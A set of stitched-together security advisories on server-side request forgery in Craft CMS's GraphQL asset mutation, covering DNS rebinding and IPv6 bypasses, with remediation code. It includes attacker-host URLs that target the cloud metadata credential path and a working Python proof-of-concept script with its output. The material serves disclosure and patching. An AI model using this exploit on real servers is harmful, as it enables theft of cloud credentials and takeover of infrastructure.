Craft is a content management system (CMS). In versions 4.5.0-RC1 through 4.16.18 and 5.0.0-RC1 through 5.8.22, the SSRF validation in Craft CMS’s GraphQL Asset mutation uses gethostbyname(), which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection. This is a bypass of the security fix for CVE-2025-68437. Exploitation requires GraphQL schema permissions for editing assets in the <VolumeName> volume and creating assets in the <VolumeName> volume. These permissions may be granted to authenticated users with appropriate GraphQL schema access and/or Public Schema (if misconfigured with write permissions). Versions 4.16.19 and 5.8.23 patch the issue.
Summary
The SSRF validation in Craft CMS’s GraphQL Asset mutation performs DNS resolution separately from the HTTP request. This Time-of-Check-Time-of-Use (TOCTOU) vulnerability enables DNS rebinding attacks, where an attacker’s DNS server returns different IP addresses for validation compared to the actual request.
This is a bypass of the security fix for CVE-2025-68437 (GHSA-x27p-wfqw-hfcc) that allows access to all blocked IPs, not just IPv6 endpoints.
Severity
Bypass of cloud metadata SSRF protection for all blocked IPs
Required Permissions
Exploitation requires GraphQL schema permissions for: - Edit assets in the <VolumeName> volume - Create assets in the <VolumeName> volume
These permissions may be granted to: - Authenticated users with appropriate GraphQL schema access - Public Schema (if misconfigured with write permissions)
---
Technical Details
Vulnerable Code Flow
The code at src/gql/resolvers/mutations/Asset.php performs two separate DNS lookups:
php // VALIDATION PHASE: First DNS resolution at time T1 private function validateHostname(string $url): bool { $hostname = parseurl($url, PHPURLHOST); $ip = gethostbyname($hostname); // DNS Lookup #1 - Returns safe IP
if (inarray($ip, [ '169.254.169.254', // AWS, GCP, Azure IMDS '169.254.170.2', // AWS ECS metadata '100.100.100.200', // Alibaba Cloud '192.0.0.192', // Oracle Cloud ])) { return false; // Check passes - IP looks safe } return true; }
// ... time gap between validation and request ...
// REQUEST PHASE: Second DNS resolution at time T2 (inside Guzzle) $response = $client->get($url); // DNS Lookup #2 - Guzzle resolves DNS AGAIN // Now returns 169.254.169.254!
Root Cause
Two separate DNS lookups occur: 1. Validation: gethostbyname() in validateHostname() 2. Request: Guzzle's internal DNS resolution via libcurl
An attacker controlling a DNS server can return different IPs for each query.
Bypass Mechanism
+-----------------------------------------------------------------------------+ | Attacker's DNS Server: evil.attacker.com | +-----------------------------------------------------------------------------+ | Query 1 (Validation - T1): | | Request: A record for evil.attacker.com | | Response: 1.2.3.4 (safe IP, TTL: 0) | | Result: Validation PASSES | +-----------------------------------------------------------------------------+ | Query 2 (Guzzle Request - T2): | | Request: A record for evil.attacker.com | | Response: 169.254.169.254 (metadata IP, TTL: 0) | | Result: Request goes to blocked IP -> CREDENTIALS STOLEN | +-----------------------------------------------------------------------------+
---
Target Endpoints via DNS Rebinding
DNS rebinding allows access to all blocked IPs:
| Target | Rebind To | Impact | |--------|-----------|--------| | AWS IMDS | 169.254.169.254 | IAM credentials, instance identity | | AWS ECS | 169.254.170.2 | Container credentials | | GCP Metadata | 169.254.169.254 | Service account tokens | | Azure Metadata | 169.254.169.254 | Managed identity tokens | | Alibaba Cloud | 100.100.100.200 | Instance credentials | | Oracle Cloud | 192.0.0.192 | Instance metadata | | Internal Services | 127.0.0.1, 10.x.x.x | Internal APIs, databases |
---
Attack Scenario
1. Attacker sets up DNS server with alternating responses 2. Attacker sends mutation with url: "http://evil.attacker.com/latest/meta-data/" 3. First DNS query returns safe IP (e.g., 1.2.3.4) → validation passes 4. Second DNS query returns metadata IP (169.254.169.254) → request to metadata 5. Attacker retrieves credentials from ANY cloud provider 6. Attacker can now achieve code execution by creating new instances with their SSH key
---
Remediation
Fix: DNS Pinning with CURLOPTRESOLVE
Pin the DNS resolution - use the same resolved IP for both validation and request:
php private function validateHostname(string $url): bool { $hostname = parseurl($url, PHPURLHOST);
// Resolve once $ip = gethostbyname($hostname);
// Validate the resolved IP if (inarray($ip, [ '169.254.169.254', '169.254.170.2', '100.100.100.200', '192.0.0.192', ])) { return false; }
// Store for later use $this->pinnedDNS[$hostname] = $ip;
return true; }
// When making the request - CRITICAL: Use pinned IP protected function makeRequest(string $url): ResponseInterface { $hostname = parseurl($url, PHPURLHOST); $ip = $this->pinnedDNS[$hostname] ?? null;
$options = []; if ($ip) { // Force Guzzle/curl to use the SAME IP we validated $options['curl'] = [ CURLOPTRESOLVE => [ "$hostname:80:$ip", "$hostname:443:$ip" ] ]; }
return $this->client->get($url, $options); }
Alternative: Single Resolution with Immediate Use
php // Resolve to IP and use IP directly in URL $ip = gethostbyname($hostname);
if (inarray($ip, $blockedIPs)) { return false; }
// Make request directly to IP with Host header $client->get("http://$ip" . parseurl($url, PHPURLPATH), [ 'headers' => [ 'Host' => $hostname ] ]);
Additional Mitigations
| Mitigation | Description | |------------|-------------| | DNS Pinning (CURLOPTRESOLVE) | Force same IP for validation and request | | Single IP-based request | Use resolved IP directly in URL | | Implement IMDSv2 | Requires token header (infrastructure-level) | | Network egress filtering | Block metadata IPs at network level |
---
Resources
- https://github.com/craftcms/cms/commit/a4cf3fb63bba3249cf1e2882b18a2d29e77a8575 - GHSA-x27p-wfqw-hfcc - Original SSRF vulnerability (CVE-2025-68437) - DNSrebinder - Lightweight Python DNS server for testing DNS rebinding vulnerabilities; responds with legitimate IP for first N queries, then rebinds to target IP - Singularity DNS Rebinding Tool - rbndr DNS Rebinding Service - DNS Rebinding Attacks Explained - CURLOPTRESOLVE Documentation - OWASP SSRF Prevention Cheat Sheet
Summary
- The saveimagesAsset graphql mutation allows a user to give a url of an image to download. (Url must use a domain, not a raw IP.) - Attacker sets up domain attacker.domain with an A record of something like 169.254.169.254 (special AWS metadata IP) - Attacker invokes saveimagesAsset with url: http://attacker.domain/latest/meta-data/iam/security-credentials and filename "foo.txt" - Craft fetches sensitive information on attacker's behalf, and makes it available for download at /assets/images/foo.txt - Normal checks to verify that image is valid are bypassed because of .txt extension - Normal checks to verify that url is not an IP address are bypassed because user provided a valid domain that resolves to a sensitive internal IP address
Details
handleUpload() in src/gql/resolvers/mutations/Assets.php contains the code that processes the saveimagesAsset mutation.
It has some basic validation logic for the url parameter (source of the image) and filename parameter (what to save image as):
} elseif (!empty($fileInformation['url'])) { $url = $fileInformation['url'];
// make sure the hostname is alphanumeric and not an IP address $hostname = parseurl($url, PHPURLHOST); if ( !filtervar($hostname, FILTERVALIDATEDOMAIN, FILTERFLAGHOSTNAME) || filtervar($hostname, FILTERVALIDATEIP) ) { throw new UserError("$url contains an invalid hostname."); }
if (empty($fileInformation['filename'])) { $filename = AssetsHelper::prepareAssetName(pathinfo(UrlHelper::stripQueryString($url), PATHINFOBASENAME)); } else { $filename = AssetsHelper::prepareAssetName($fileInformation['filename']); }
$extension = strtolower(pathinfo($filename, PATHINFOEXTENSION)); if (isarray($allowedExtensions) && !inarray($extension, $allowedExtensions, true)) { throw new AssetDisallowedExtensionException(Craft::t('app', "“{$extension}” is not an allowed file extension.")); }
The upshot of this validation is that url must contain a hostname, not an IP, and filename must contain an allowed extension. If the allowed extension is a typical image extension, further validation will be done downstream to verify that the downloaded content is in fact an image.
An authenticated attacker can trick this mutation into fetching sensitive AWS metadata, or other sensitive information from the craft instance's internal network.
- First, the attacker must register a domain -- e.g. attacker.domain. - Next, they must point their domain at the sensitive internal ip they'd like to access (e.g. 169.254.169.254) - Next, they make a request to saveimagesAsset with url set to http://attacker.domain/sensitive/path with filename set to "something.txt" - Finally the attacker makes a http request to retrieve /assets/images/something.txt, which contains sensitive information
PoC
Preconditions
- Graphql access must be enabled - Attacker must have access to a graphql token - Token must be configured to have access to saveimagesAsset mutation - Attacker must have configured a domain, "attacker.domain" pointing to the sensitive internal IP address they'd like to access - .txt must be an allowed extension for uploads via saveimagesAsset (as it is by default)
Code
import requests
Replace GRAPHQLENDPOINT and BEARERTOKEN per target. GRAPHQLENDPOINT = 'http://localhost:8080/actions/graphql/api' TOKEN = '<TOKEN HERE>'
mutation = ''' mutation SaveAsset($file: FileInput!, $title: String, $focalPoint: String) { saveimagesAsset(file: $file, title: $title, focalPoint: $focalPoint) { id title url filename focalPoint dateCreated } } '''
variables = { 'file': { 'url' : "http://attacker.domain/latest/meta-data/iam/security-credentials", 'filename': 'foo.txt'
}, "title": "my photo", "focalPoint": "0.5;0.5"
}
resp = requests.post(GRAPHQLENDPOINT, json={'query': mutation, 'variables': variables}, headers={'Authorization': f'Bearer {TOKEN}'}) print(resp.statuscode, resp.text)
If attack is successful, response to running this script will be something like:
200 {"data":{"saveimagesAsset":{"id":"211403","title":"my photo","url":"http://localhost:8080/assets/volumes/images/foo.txt","filename":"foo.txt","focalPoint":null,"dateCreated":"2025-12-18T09:45:24-08:00"}}}
Attacker can then download sensitive data by fetching http://localhost:8080/assets/volumes/images/foo.txt
Impact
Impacted users must:
- Have graphql enabled - Have a graphql token created with permissions to use saveimagesAsset - Have graphql token stolen by attacker or abused by malicious insider
Impact is heightened if:
- craft is running on something like an AWS EC2 instance, which has a well-known, sensitive internal http address that can be accessed to fetch metadata.
Ultimate result is:
Attacker or malicious insider gets access to infrastructure craft is running on, not just craft itself.
Craft is a platform for creating digital experiences. In versions 5.0.0-RC1 through 5.8.20 and 4.0.0-RC1 through 4.16.16, the Craft CMS GraphQL save<VolumeName>Asset mutation is vulnerable to Server-Side Request Forgery (SSRF). This vulnerability arises because the file input, specifically its url parameter, allows the server to fetch content from arbitrary remote locations without proper validation. Attackers can exploit this by providing internal IP addresses or cloud metadata endpoints as the url, forcing the server to make requests to these restricted services. The fetched content is then saved as an asset, which can subsequently be accessed and exfiltrated, leading to potential data exposure and infrastructure compromise. This exploitation requires specific GraphQL permissions for asset management within the targeted volume. Users should update to the patched 5.8.21 and 4.16.17 releases to mitigate the issue.